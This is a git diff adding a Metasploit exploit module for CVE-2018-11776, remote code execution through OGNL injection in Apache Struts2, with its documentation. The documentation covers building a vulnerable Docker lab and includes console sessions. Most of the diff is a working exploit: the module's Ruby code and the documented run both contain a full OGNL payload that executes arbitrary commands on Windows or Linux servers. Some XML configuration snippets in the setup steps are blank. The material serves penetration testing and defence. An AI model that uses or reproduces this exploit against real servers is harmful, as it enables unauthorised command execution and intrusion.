diff --git a/documentation/modules/exploit/multi/http/struts_namespace_rce.md b/documentation/modules/exploit/multi/http/struts_namespace_rce.md
new file mode 100644
index 0000000000..5c6ff21ed2
--- /dev/null
+++ b/documentation/modules/exploit/multi/http/struts_namespace_rce.md
@@ -0,0 +1,129 @@
+CVE-2018-11776 is a critical vulnerability in the way Apache Struts2 handles namespaces and redirection, which permits an attacker to execute [OGNL(https://commons.apache.org/proper/commons-ognl/language-guide.html) remotely. Using OGNL, the attacker can modify files and execute commands.
+
+The vulnerability was reported to Apache by [Man Yue Mo] from Semmle in April 2018. It was widely publicized in August 2018, with PoCs appearing shortly thereafter.
+
+## Vulnerable Application
+
+ The Struts showcase app, with a slight adaptation to introduce the vulnerability, works reliabliy as a practice environment.
+ *@hook-s3c* did an amazing job with [their writeup](https://github.com/hook-s3c/CVE-2018-11776-Python-PoC/blob/master/README.md), which I'll include exerpts of here:
+
+ 1. From a stock Ubuntu VM, install docker:
+ ```
+ sudo apt update && sudo apt install docker.io
+ ```
+
+ 2. Download a vulnerable Struts showcase application inside a docker container:
+ ```
+ sudo docker pull piesecurity/apache-struts2-cve-2017-5638
+ sudo docker run -d --name struts2 -p 32771:8080 piesecurity/apache-struts2-cve-2017-5638
+ CONTAINER_ID=`sudo docker ps -l -q`
+ ```
+
+ 3. Now that the container is running, open a terminal inside of it:
+ ```
+ sudo docker exec -it $CONTAINER_ID /bin/bash
+ ```
+
+ 4. From within the container, install your text editor of choice and modify the Struts configs:
+ ```
+ sudo apt update && sudo apt install nano
+ nano /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml
+ ```
+
+ 5. Update the struts config to add this to above line #11:
+ ```
+
+ ```
+
+ 6. Update the same struts config file to add this above line #78:
+ ```
+
+
+ date.action
+
+
+ ```
+
+ 7. Still within the container, shutdown the environment:
+ ```
+ /usr/local/tomcat/bin/shutdown.sh
+ ```
+
+ 8. Upon completion, the container will shutdown and you'll return to the host environment. Restart the container, now with a vulnerable endpoint:
+ ```
+ sudo docker start $CONTAINER_ID
+ ```
+
+ Congratulations. You now have a vulnerable Struts server. If you're following these instructions, your server should be listening on 0.0.0.0:32771. To confirm:
+ ```
+ INTERFACE=`ip route list 0.0.0.0/0 | cut -d' ' -f5`
+ IPADDRESS=`ip addr show $INTERFACE | grep -Po 'inet \K[\d.]+'`
+ PORT_NUM=`sudo docker port $CONTAINER_ID | sed 's/.*://'`
+ echo "Struts container is listening on $IPADDRESS:$PORT_NUM"
+ ```
+
+## Verification Steps
+
+ Confirm that check functionality works:
+ - [ ] Install the application using the steps above.
+ - [ ] Start msfconsole.
+ - [ ] Load the module: ```use exploit/multi/http/struts_namespace_rce```
+ - [ ] Set the RHOST.
+ - [ ] Set an invalid ACTION: ```set ACTION wrong.action```
+ - [ ] Confirm the target is *not* vulnerable: ```check```
+ - [ ] Observe that the target is *not* vulnerable: ```The target is not exploitable.```
+ - [ ] Set a valid ACTION: ```set ACTION help.action```
+ - [ ] Confirm that the target is vulnerable: ```The target is vulnerable.```
+
+ Confirm that command execution functionality works:
+ - [ ] Set a payload: ```set PAYLOAD cmd/unix/generic```
+ - [ ] Set a command to be run: ```set CMD hostname```
+ - [ ] Run the exploit: ```run```
+ - [ ] Confirm the output is the container ID of your docker environment, e.g: ```b3d9b350d9b6```
+ - [ ] You will not be given a shell (yet).
+
+ Confirm that payload upload and execution works:
+ - [ ] It doesn't (yet).
+## Options
+
+ **TARGETURI**
+
+ The path to the struts application. Note that this does not include the endpoint. In the environment above, the path is `/`.
+
+ **ACTION**
+
+ The endpoint name. In the environment above, the endpoint is `help.action`.
+
+## Scenarios
+
+### Version of software and OS as applicable
+
+ Checking a vulnerable endpoint, as installed in the above steps.
+
+ ```
+ msf > use exploit/multi/http/struts_namespace_rce
+ msf5 exploit(multi/http/struts_namespace_rce) > set RHOSTS 192.168.199.135
+ msf5 exploit(multi/http/struts_namespace_rce) > set RPORT 32771
+ msf5 exploit(multi/http/struts_namespace_rce) > set ACTION help.action
+ ACTION => help.action
+ msf5 exploit(multi/http/struts_namespace_rce) > check
+ [+] 192.168.199.135:32771 The target is vulnerable.
+ ```
+
+ Running an arbitrary command on the above-described environment:
+
+ ```
+ msf5 exploit(multi/http/struts_namespace_rce) > set VERBOSE true
+ msf5 exploit(multi/http/struts_namespace_rce) > set PAYLOAD cmd/unix/generic
+PAYLOAD => cmd/unix/generic
+msf5 exploit(multi/http/struts_namespace_rce) > set CMD hostname
+CMD => hostname
+msf5 exploit(multi/http/struts_namespace_rce) > run
+[*] Submitted OGNL: (#_memberAccess['allowStaticMethodAccess']=true).(#cmd='hostname').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())
+
+[*] Command ran. Output from command:
+b3d9b350d9b6
+
+[*] Exploit completed, but no session was created.
+msf5 exploit(multi/http/struts_namespace_rce) >
+ ```
diff --git a/modules/exploits/multi/http/struts_namespace_rce.rb b/modules/exploits/multi/http/struts_namespace_rce.rb
new file mode 100644
index 0000000000..03d86ba163
--- /dev/null
+++ b/modules/exploits/multi/http/struts_namespace_rce.rb
@@ -0,0 +1,144 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+ Rank = ExcellentRanking
+
+ include Msf::Exploit::Remote::HttpClient
+ include Msf::Exploit::CmdStager # https://github.com/rapid7/metasploit-framework/wiki/How-to-use-command-stagers
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'Apache Struts Jakarta Multipart Parser OGNL Injection',
+ 'Description' => %q{
+ This module exploits a remote code execution vulnerability in Apache Struts
+ version 2.3 - 2.3.4, and 2.5 - 2.5.16. Remote Code Execution can be performed
+ via an endpoint that makes use of a redirect action.
+
+ Native payloads will be converted to executables and dropped in the
+ server's temp dir. If this fails, try a cmd/* payload, which won't
+ have to write to the disk.
+ },
+ 'Author' => [
+ 'Man Yue Mo', # Discovery
+ 'hook-s3c', # PoC
+ 'asoto-r7', # Metasploit module
+ 'wvu-r7' # Metasploit module
+ ],
+ 'References' => [
+ ['CVE', '2018-11776'],
+ ['URL', 'https://lgtm.com/blog/apache_struts_CVE-2018-11776'],
+ ['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-057']
+ ],
+ 'Privileged' => true,
+ 'Targets' => [
+ [
+ 'Universal', {
+ 'Platform' => %w{ unix windows linux },
+ 'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
+ },
+ ],
+ ],
+ 'DisclosureDate' => 'Apr 10 2018',
+ 'DefaultTarget' => 0))
+
+ register_options(
+ [
+ Opt::RPORT(8080),
+ OptString.new('TARGETURI', [ true, 'A valid base path to a struts application', '/' ]),
+ OptString.new('ACTION', [ true, 'A valid endpoint that is configured as a redirect action', 'showcase.action' ])
+ ]
+ )
+ register_advanced_options(
+ [
+ OptString.new('HTTPMethod', [ true, 'The HTTP method to send in the request. Cannot contain spaces', 'GET' ])
+ ]
+ )
+ end
+
+ def check
+ # Generate two random numbers, ask the target to add them together.
+ # If it does, it's vulnerable.
+ a = rand(10000)
+ b = rand(10000)
+ c = a+b
+
+ ognl = "#{a}+#{b}"
+
+ begin
+ resp = send_struts_request(ognl)
+ rescue Msf::Exploit::Failed => error
+ print_error(error.to_s)
+ return Exploit::CheckCode::Unknown
+ end
+
+ # If vulnerable, the server should return an HTTP 302 (Redirect)
+ # and the 'Location' header should contain the sum of our two numbers (a+b)
+ if resp && resp.code == 302 && (resp.headers['Location'].include?c.to_s)
+ vprint_status("Submitted OGNL: #{ognl}")
+ vprint_status("Redirected to: #{resp.headers['Location']}")
+ Exploit::CheckCode::Vulnerable
+ else
+ Exploit::CheckCode::Safe
+ end
+ end
+
+ def exploit
+ case payload.arch.first
+ when ARCH_CMD
+ resp = execute_command(payload.encoded)
+ else
+ fail_with(Failure::BadConfig,"Only cmd payloads are currently supported.")
+ resp = send_payload()
+ end
+ end
+
+ def send_struts_request(ognl)
+ uri = normalize_uri("/${#{ognl}}/",datastore['ACTION'])
+
+ resp = send_request_cgi(
+ 'encode' => true,
+ 'uri' => uri,
+ 'method' => datastore['HTTPMethod']
+ )
+
+ if resp && resp.code == 404
+ fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI and ACTION')
+ end
+ resp
+ end
+
+ def execute_command(cmd_input)
+ # The following OGNL will run arbitrary commands on Windows and Linux
+ # targets, as well as returning STDOUT and STDERR.
+ # In my testing, the request timed out after 3 seconds.
+ ognl = "(#_memberAccess['allowStaticMethodAccess']=true)."
+ ognl << "(#cmd='" + cmd_input + "')."
+ ognl << "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
+ ognl << "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'bash','-c',#cmd}))."
+ ognl << "(#p=new java.lang.ProcessBuilder(#cmds))."
+ ognl << "(#p.redirectErrorStream(true))."
+ ognl << "(#process=#p.start())."
+ ognl << "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
+ ognl << "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
+ ognl << "(#ros.flush())"
+
+ vprint_status("Submitted OGNL: #{ognl}")
+
+ resp = send_struts_request(ognl)
+
+ if resp && resp.code == 200
+ print_status("Command ran. Output from command:\n#{resp.body}")
+ else
+ print_error("Failed to run command. Response from server: #{resp.to_s}")
+ end
+ end
+
+ def send_payload(exe)
+ # TODO: Have the ability to upload/run payloads
+
+ # send_struts_request(ognl)
+ end
+end